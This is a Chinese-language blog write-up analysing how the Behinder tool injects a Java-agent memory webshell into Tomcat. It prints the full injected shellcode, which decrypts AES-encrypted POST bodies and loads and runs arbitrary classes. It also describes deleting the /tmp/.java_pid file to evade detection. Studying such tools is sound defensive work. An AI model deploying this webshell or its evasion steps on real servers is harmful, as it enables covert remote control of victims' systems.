浅析behinder agent内存马注入
0x00 前言
学习了内存马之后,想到了behinder和godzilla这两款现在在实战中常用的内存马注入工具,这篇文章就先分析一下behinder工具注入的内存马的核心源码吧,也为以后二开工具做个铺垫
0x01 工具
IDEA
behinder V3.0_Beta_11
0x02 前期准备
因为在后续的分析过程中多要看一些代码,调试分析对理解源码也有很大的帮助,所以先配置一下调试的环境
1.首先用idea启动一个tomcat的服务

2.然后生成一个behinder的jsp马,然后用behinder连接

3.用idea打开behinder.jar包,然后添加为库后打开

4.然后新建远程JVM调试

apply之后,打开behinder.jar所在目录,使用如下命令运行jar包
java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 Behinder.jar

然后返回idea,点击调试运行即可

0x03 代码分析
定位代码
net.rebeyond.behinder.ui.controller.MainController#injectMemShell(看方法名字就是注入shell)

看一下代码,首先是会去检测注入路径开头是否是/,如果不是就报错
- path:注入路径
- shellEntity:选中的shell的系统信息
- osInfo:操作系统信息

然后获取到shell信息和操作系统信息后,根据操作系统拼接临时目录来存放之后被注入的jar包:linux是/tmp/{随机字符},windows是c:/windows/temp/{随机字符}

然后就到了内存马注入的关键三步,分别是上传jar包,加载jar,注入内存马
(和我们之前学的agent修改字节码是极为相似的,而事实上他的确是采用Instrumentation + javaassist 对http相关类进行hook的方法,实现内存webshell)
第一步:uploadFile
咱们先看上传jar包的uploadFile

libpath是临时目录(linux是/tmp/{随机字符},windows是c:/windows/temp/{随机字符}),然后会根据操作系统的不同选择上传不同的jar包,这些jar包存放在net/rebeyond/behinder/resource/tools目录下

题外:这里我们把tools_0.jar包提取出来,之后分析一下该jar包
第二步:loadjar
分析完uploadFile方法,我们再去看一下loadjar方法

我们看byte[] data = Utils.getData(this.currentKey, this.encryptType, "Loader", params, this.currentType);这行代码
这行代码的作用是调用工具类Utils的getData方法,生成用于网络请求的加密数据字节数组,并且它还会获取一个classname为Loader的class字节码,我们全局搜索该类发现在net.rebeyond.behinder.payload.java
这里我在网上看了一些其他师傅的文章就是图中我用框框住的部分是behinder客户端和shell交互的典型写法,将参数放入一个map,对应的是payload类中的一个成员变量,然后获取net.rebeyond.behinder.payload.java中名字是Loader的class字节码,然后通过javassist修改class的字节码,将map中与payload中对应的成员变量的值赋值给它,然后发送给webshell,webshell执行payload中的equals方法后返回结果(这里的payload就是Loader.class
我们跟到net.rebeyond.behinder.payload.java.Loader中看一下

看一下代码我们发现它用libpath初始化了一个url对象,然后通过反射调用了URLCLassLoader.addURL()方法,就是将libpath(jar包路径)添加到搜索路径中去,就类似添加到环境变量当中去
然后jvm通过文件名搜索这个到这个路径下的这个文件(jar包)
第三步:injectMemShell
回到三步中的最后一步injectMemShell

- type:类型,只有agent
- path:用来访问内存马的url
- isAntiAgent:是否启用防检测
跟进injectMemShell方法

和loadjar的有点像,先给payload的成员变量赋值并放入一个map中,然后将payload发送给沦陷主机上
看byte[] data = Utils.getData(this.currentKey, this.encryptType, "MemShell", params, this.currentType);这行代码
根据密钥,加密类型以及map类型的存放变量的params字段和内存马type去依靠Memshell类去getData获取数据
跟进MemShell看一下net.rebeyond.behinder.payload.java.MemShell(一样全局搜索MemShell)
这部分代码在执行的时候,已经是在受害者机器,由冰蝎webshell加载执行,程序入口是equals()函数,所以注入调试的时候没法跟进去


首先是把jdk.attach.allowAttachSelf属性设置为true(有哪位师傅可以解惑,不太清楚这里的作用是什么),其次是调用了fillContext()方法用来初始化类的request,response和session,原因是内存马不像jsp文件的话是有全局变量可以直接获取,而是需要从context中获取
后面就是三个type判断,因为这个版本是只有agent内存马,暂时还不支持filter和servlet两种类型,可能之后的版本会有,到时候找到了也分析一下qwq
小结:
对比当时agent学习:
首先就是通过shell上传恶jar包到对应的操作系统,这一步就相当于agent当时中的将项目和恶意类一起打包成jar包
然后就是loadjar加载jar包去找项目对应的jvm进程
最后就是通过injectmemshell来去修改字节码去实现内存马的注入
0x04 恶意jar包分析
我们反编译tools_0.jar
打开之后javassist包下的不用看,他是javassist字节码修改时用到的一些核心类,我们看net/rebeyond/behinder/payload/java下的memshell(其实这里发现和behinder客户端的memshell代码是一样的)
看关键方法agentmain
在定义shellcode之前的一大段代码都是初始化几个变量
- classes是全部已加载的类
- targetclasses存放了不同java版本的和中间件的request和response的类名来对应不同的场景
然后我们看一下shellcode也就是内存版webshell
javax.servlet.http.HttpServletRequest request = (javax.servlet.ServletRequest) $1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse) $2;
javax.servlet.http.HttpSession session = request.getSession();
String pathPattern = "%s";
if (request.getRequestURI().matches(pathPattern)) {
java.util.Map obj = new java.util.HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
ClassLoader loader = this.getClass().getClassLoader();
if (request.getMethod().equals("POST")) {
try {
String k = "%s";
session.putValue("u", k);
java.lang.ClassLoader systemLoader = java.lang.ClassLoader.getSystemClassLoader();
Class cipherCls = systemLoader.loadClass("javax.crypto.Cipher");
Object c = cipherCls.getDeclaredMethod("getInstance", new Class[]{String.class})
.invoke(cipherCls, new Object[]{"AES"});
Object keyObj = systemLoader.loadClass("javax.crypto.spec.SecretKeySpec")
.getDeclaredConstructor(new Class[]{byte[].class, String.class})
.newInstance(new Object[]{k.getBytes(), "AES"});
java.lang.reflect.Method initMethod = cipherCls.getDeclaredMethod("init", new Class[]{int.class, systemLoader.loadClass("java.security.Key")});
initMethod.invoke(c, new Object[]{2, keyObj});
java.lang.reflect.Method doFinalMethod = cipherCls.getDeclaredMethod("doFinal", new Class[]{byte[].class});
byte[] requestBody = null;
try {
Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");
Object Decoder = Base64.newInstance();
requestBody = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class})
.invoke(Decoder, new Object[]{request.getReader().readLine()});
} catch (Exception ex) {
Class Base64 = loader.loadClass("java.util.Base64");
Object Decoder = Base64.getDeclaredMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
requestBody = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{String.class})
.invoke(Decoder, new Object[]{request.getReader().readLine()});
}
byte[] buf = (byte[]) doFinalMethod.invoke(c, new Object[]{requestBody});
java.lang.reflect.Method defineMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, java.nio.ByteBuffer.class, java.security.ProtectionDomain.class});
defineMethod.setAccessible(true);
java.lang.reflect.Constructor constructor = java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});
constructor.setAccessible(true);
java.lang.ClassLoader cl = (java.lang.ClassLoader) constructor.newInstance(new Object[]{loader});
java.lang.Class loadedClass = (java.lang.Class) defineMethod.invoke(cl, new Object[]{null, java.nio.ByteBuffer.wrap(buf), null});
loadedClass.newInstance().equals(obj);
} catch (java.lang.Exception e) {
e.printStackTrace();
} catch (java.lang.Error error) {
error.printStackTrace();
}
return;
}
}
- 通过 POST 请求接收加密的类字节码
- 使用 AES 解密和 Base64 解码还原字节码
- 利用反射和自定义类加载器将字节码动态加载为 Java 类
- 实例化新类并传递 Web 请求上下文,实现远程动态扩展和控制
但其实这段代码长的主要原因是因为很多类和方法无法从内存中直接获取,都需要反射获取
然后继续看后面的

- 首先遍历 JVM 已加载的所有类,筛选出在
targetClasses列表中的目标类(如javax.servlet.http.HttpServlet、jakarta.servlet.http.HttpServlet) - 从传入的参数中取出要绑定的url和password,对shellCode进行格式化,并根据发现已加载的类名,修改shellCode中import的类名
- 然后就是使用javassist将shellcode插入到
ServletRequest#service和ServletResponse#service之间,这样所有的http请求都会先经过注入的恶意代码处理,这样就完成了hook的操作
0x05 isAntiAgent防检测分析
在上面分析injectMemShell的时候,有一个参数是isAntiAgent对应的是gui界面中的是否开启防检测功能
跟进injectMemShell发现isAntiAgent的boolean值赋值到成员变量antiAgent

我们去全局搜索antiAgent,找到了处理该参数的地方
net.rebeyond.behinder.payload.java.MemShell#doAgentShell

- 通过系统类加载器加载
com.sun.tools.attach.VirtualMachine,这是 Java Attach API 的核心类,用于远程或本地 JVM 进程的动态操作 - 获取
attach方法(用于连接到指定 PID 的 JVM)。 - 获取
loadAgent方法(用于向目标 JVM 加载 agent jar,并传递参数) - 通过
attach连接到当前 JVM 进程(getCurrentPID())。 - 通过
loadAgent注入 agent jar(libPath),并传递参数(路径和密码,均 base64 编码) - 如果是 Linux 且
antiAgent为 true,则删除/tmp/.java_pid[PID]文件
而且我们可以看这一段

loadAgentMethod.invoke的时候并没有传入antiAgent,所以说并没有把是否启用防检测参数传给jar包,那么jar包就无法判断是否要启动防检测,所以只能是在客户端这里完成,而不是由jar包去完成删除/tmp/.java_pid[PID] 文件这一步骤
至于为什么删除/tmp/.java_pid[PID] 文件,就可以防检测,请见以下回答:

0x06 总结
这一篇文章就是简单的分析了一下这个behinder agent注入的简单流程,有一些复杂的地方还没有研究明白,但是总体而言大致流程其实和我们学习agent的时候是相同的,只不过在实际环境中涉及到这个网络通信以及具体的注入的时候要复杂的多,所以后续还会再继续分析,比如像filter\servlet内存马的注入,以及他这个shell拿到之后执行命令的这个加密通信是如何实现的等
在这里我只能说能写出这个东西的人真是太d了!
最后我agent的学习笔记见:Java agent(一) - Zephyr07 - 博客园

浙公网安备 33010602011771号